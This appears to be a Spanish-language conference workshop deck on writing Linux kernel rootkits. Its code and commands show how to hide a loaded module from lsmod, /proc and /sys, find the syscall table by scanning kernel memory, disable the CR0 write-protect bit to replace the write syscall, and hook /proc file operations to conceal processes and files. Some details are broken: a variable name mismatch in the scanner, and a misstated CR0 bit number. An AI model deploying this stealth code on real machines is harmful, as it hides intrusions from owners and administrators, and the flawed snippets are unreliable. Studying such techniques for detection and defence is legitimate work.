  • 6. Building Basics Rootkits Manos a la Obra Consideraciones Consideraciones Las diferencias m´as importantes entre un desarrollo a n´ıvel kernel o espacio usuario son: El kernel carece de protecci´on de memoria... algo que se ofrece en el espacio de usuario. El kernel no puede ejecutar de manera sencilla operaciones en punto flotante. El kernel tiene un espacio en pila muy reducido por proceso. Debido a la naturaleza as´ıncrona de las interrupciones del kernel, la concurrencia es de los temas a poner mas ´enfasis al desarrollar (Race-Conditions). La portabilidad... entre versi´on y versi´on de n´ucleo.
  • 7. Building Basics Rootkits Manos a la Obra Primeros Pasos Primeros Pasos Algunas Macros importantes: module init(); module exit(); MODULE LICENSE(”GPL”); MODULE AUTHOR(”NataS”); MODULE DESCRIPTION(”My LKM”);
  • 8. Building Basics Rootkits Manos a la Obra Ejercicio: Hello World Module Hello World #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> static int hello_init(void) { printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n"); return 0; } static void hello_exit(void) { printk(KERN_ALERT "Goodbye GuadalajaraCon!n"); } module_init(hello_init); module_exit(hello_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("NataS"); MODULE_DESCRIPTION("My First LKM");
  • 9. Building Basics Rootkits Manos a la Obra Ejercicio: Hello World Module Hello World Nuestro Makefile: obj-m := modulo.o Y Compilamos como: make -C /lib/modules/$(uname -r)/build SUBDIRS=$PWD modules Cargamos nuestro m´odulo insmod modulo.ko Listamos nuestro m´odulo lsmod | grep modulo Eliminamos nuestro m´odulo rmmod modulo.ko
  • 10. Building Basics Rootkits Manos a la Obra Manejando Parametros Manejando Parametros Los par´ametros se mandan cuando arrancamos el m´odulo de la forma: insmod modulo param1=valor1 param2=valor2 Para definir los par´ametros, primero declaramos variables y las pasamos a la macro: module_param(nombre, tipo, permisos) module_param_string(nombre,variable, longitud, permisos); Permisos son los definidos en sysfs, y afectan las entradas del modulo en /sys/module
  • 11. Building Basics Rootkits Manos a la Obra Manejando Parametros Ejercicio: Name and Age static char myName[50]; module_param_string(name, myName, 50, 0); static int age = 1; module_param(age, int, 0); ... printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
  • 12. Building Basics Rootkits T´opicos Avanzados Trabajando con la Estructura de Tareas Trabajando con la Estructura de Tareas El kernel de linux contiene una lista enlazada (definida en include/linux/types.h e include/linux/list.h) de tareas, las cuales son una estructura declarada en include/linux/sched.h.
  • 13. Building Basics Rootkits T´opicos Avanzados Trabajando con la Estructura de Tareas Trabajando con la Estructura de Tareas Desde el kernel tenemos acceso directo a la lista de tareas (task struct), la cual es una lista doblemente enlazada ¿A´un recuerdan sus clases de programaci´on? Para acceder a la estructura que contiene informaci´on sobre nuestro proceso, basta con hacer uso del puntero current #include <linux/sched.h> #include <asm/current.h> static int hello_init(void) { printk(KERN_ALERT "My Name --> %s and PID --> %i n", current->comm, current->pid); return 0; }
  • 14. Building Basics Rootkits T´opicos Avanzados Trabajando con la Estructura de Tareas Ejercicio: Get my PID and all others Usando los c´odigos anteriores... Recorran la lista de tareas y pinten cada proceso y su PID. Con este acceso pueden intentar esconder un proceso tambi´en:
  • 15. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hidding Ver.1 El kernel maneja un lista enlazada en la cual, mantiene la referencia de todos los m´odulos que est´an cargados (lsmod y /proc leen dicha lista). Esconder nuestro m´odulo es muy sencillo, en la funci´on de inicio del m´odulo basta con eliminar la referencia de la lista: list_del(&THIS_MODULE->list); Dos problemas con esta primer aproximaci´on: 1 A´un somos detectables desde /sys 2 Al hacer un unload del m´odulo, debido a que no existe en la lista, se provoca un Oops que genera un kernel panic o crash del sistema, dejando rastros.
  • 16. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Ejercicio: Hide myself Nos escodemos: static int hide_init(void) { printk(KERN_ALERT "Hello World! My first LKM.n"); printk(KERN_ALERT "Let’s get hide myself.n"); list_del(&THIS_MODULE->list); return 0; } Nos buscamos lsmod | grep modulo cat /proc/modules | grep modulo Nos Encontramos ls /sys/module/modulo
  • 17. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hidding. Ve2 Cada entrada en /sys es un objeto module kobject (definido en module.h) que internamente tienen una estructura del tipo kobject (definido en kobject.h). Examinando el c´odigo del kernel, vemos que en la descarga del m´odulo, primero debemos eliminarnos de /sys y posteriormente de la vista. Hay que tomar en cuenta, que el kernel no libera objetos que est´en iniciados a NULL Recomendaciones: 1 Recordar informaci´on previa (prev y next en la lista). 2 Sobreescribir readproc y writeproc 3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
  • 18. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Ejercicio: Find Me if You can static inline void hideme(void) { list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); kfree(THIS_MODULE->notes_attrs); THIS_MODULE->notes_attrs = NULL; kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; kfree(THIS_MODULE->mkobj.mp); THIS_MODULE->mkobj.mp = NULL; THIS_MODULE->modinfo_attrs->attr.name = NULL; kfree(THIS_MODULE->mkobj.drivers_dir); THIS_MODULE->mkobj.drivers_dir = NULL; } Ahora... busquemos el m´odulo
  • 19. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking La direcci´on de la sys call table, puede ser encontrada en el archivo System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese archivo? El rango de memoria del kernel en arquitecturas X86 es del 0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table basta con buscar hasta la 0xd0000000 ¿porque? CONFIG HIGHMEM. Para x86 64 podemos encontrar el inicio de la memoria del kernel en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff, es de destacar que igual que en la arquitectura de 32Bits, no debemos iterar todas las direcciones, basta iterar hasta 0xffffffff81ffffff. Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se exporten, sys close por ejemplo.
  • 20. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking #if defined __x86_64__ #define START_MEM 0xffffffff81000000 #define END_MEM 0xffffffff81ffffff #else #define START_MEM 0xc0000000 #define END_MEM 0xd0000000 #endif unsigned long **find_syscalltable() { unsigned long **syscalltable; unsigned long int i = START_MEM; while ( i < END_MEM) { sctable = (unsigned long **)i; if ( syscalltable[__NR_close] == (unsigned long *)sys_close) { return &syscalltable[0]; } i += sizeof(void *); } return NULL; }
  • 21. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking Pero la sys call table esta protegida contra escritura ¿o no? Existen diferentes registros de procesador, el que nos interesa es el cr0. El kernel nos da dos funciones para manipular este registro: write cr0 y read cr0. El Bit 0 de este registro maneja el Protected Mode, por ello se llama WP bit. Solo basta modificar este bit antes y despu´es del hijacking write_cr0 (read_cr0 () & (~ 0x10000)); printk(KERN_ALERT "nWrite Protection Disabled XD"); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = new_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "nWrite Protection Enabled"); /* 0X10000 --> 000...010000000000000000 ~(0X10000) --> 111...101111111111111111 */
  • 22. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking Syscall Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_open(pathname, flags, mode) { if (XXX==XXX) call open(pathname, flags, mode) else printf("Not found"); }
  • 23. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking VFS Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_lookup(parent_directory, pathname, ...) { if (XXX==XXX) call real_lookup(parent_directory, pathname, ...) else printf("Error"); }
  • 24. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking VFS struct inode *pinode; const struct file_operations *proc_original; static struct file_operations proc_fops; void hook_proc(struct proc_dir_entry *root) { struct path proc_path; if (kern_path("/proc/",0,&proc_path)) return; pinode = proc_path.dentry->d_inode; if(!pinode) return; proc_fops = *pinode->i_fop; proc_original = pinode->i_fop; proc_fops.readdir = natas_lookup; pinode->i_fop = &proc_fops; }
  • 25. Building Basics Rootkits Referencias Referencias Designing BSD Rootkits, Joseph Kong Linux Kernel Development, Robert Love Writing Kernel Exploits Paper, Keegan MacAllister Linux Kernel Crash Book, Igor Ljubuncic The Rootkits Arsenal, Reverend Bill Blunden